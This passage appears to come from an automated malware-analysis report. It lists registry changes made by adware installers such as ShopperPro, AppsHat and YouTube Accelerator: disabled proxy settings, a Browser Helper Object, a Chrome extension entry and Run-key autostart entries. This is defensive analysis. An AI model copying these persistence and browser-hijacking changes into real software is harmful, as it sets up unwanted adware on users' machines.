"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process appshat_generic.exe:3520 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "C7 4B 35 64 85 46 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"NoRepair" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"UninstallString" = "C:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "F4 44 7D 76 85 46 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"NoModify" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4D 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"DisplayName" = "AppsHat Mobile Apps"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"Publisher" = "Somoto Ltd."
"DisplayVersion" = "1.0.0.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"DisplayIcon" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\Uninstall.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "F4 44 7D 76 85 46 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat]

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process testlsp.exe:2408 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 C5 A5 44 A3"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1423719190"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "14 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "C7 4B 35 64 85 46 D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1423719189"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 49 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"
"TimeLimit" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process powershell.exe:3268 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

The process powershell.exe:3060 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

The process powershell.exe:3988 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

The process setup.exe:2340 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Program Files% (x86)\Google\Update\1.3.24.15, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEC53.tmp\AccDownload.dll,"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ShopperPro]
"UninstallString" = "%Program Files% (x86)\ShopperPro\SPremove.exe"
"DisplayName" = "Shopper-Pro"
"DisplayIcon" = "%Program Files% (x86)\ShopperPro\ShopperPro.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\ShopperPro.exe]
"(Default)" = "%Program Files% (x86)\ShopperPro\ShopperPro.exe"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process setup.exe:1772 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "CA 44 D0 5D 85 46 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Program Files% (x86)\Google\Update\1.3.24.15, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEC53.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEC53.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEC53.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse916.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse916.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse916.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp727651\422.json,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 47 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "92 AB 51 61 85 46 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "92 AB 51 61 85 46 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process STab_Down_6.0.6.8.exe:1496 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "C7 4B 35 64 85 46 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4C 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "62 3E CD 75 85 46 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "62 3E CD 75 85 46 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process cmdshell.exe:200 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "CA 77 6D 79 85 46 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 52 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "6E AA 86 7D 85 46 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "6E AA 86 7D 85 46 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process ShopperPro.exe:1984 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"UserId" = "572a1153-8705-4466-affe-b5bad540fde1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"NoExplore" = "1"

[HKLM\SOFTWARE\ShopperPro]
"CONFIGLOCATION" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"Aff" = "smtycl"

[HKLM\SOFTWARE\ShopperPro]
"DBLocation" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "74 D1 D8 56 85 46 D0 01"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"ExeLocation" = "%Program Files% (x86)\ShopperPro"
"Version" = "2.6.8418.1499"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "54 73 E2 5A 85 46 D0 01"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"DBLocation" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 43 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"CONFIGLOCATION" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"ChromeExtFile" = "ShopperPro.crx"
"ChromeExtID" = "ojhagnahfpegocdhlopgljpaafeogmcc"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"DriverVersion" = "1499.0.0.0"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro\ExtraInfo]
"DBVersion" = "1.0.1.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "54 73 E2 5A 85 46 D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1499.0.0.0\jsdrv.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1499.0.0.0\jsdrv.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process %original file name%.exe:3304 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
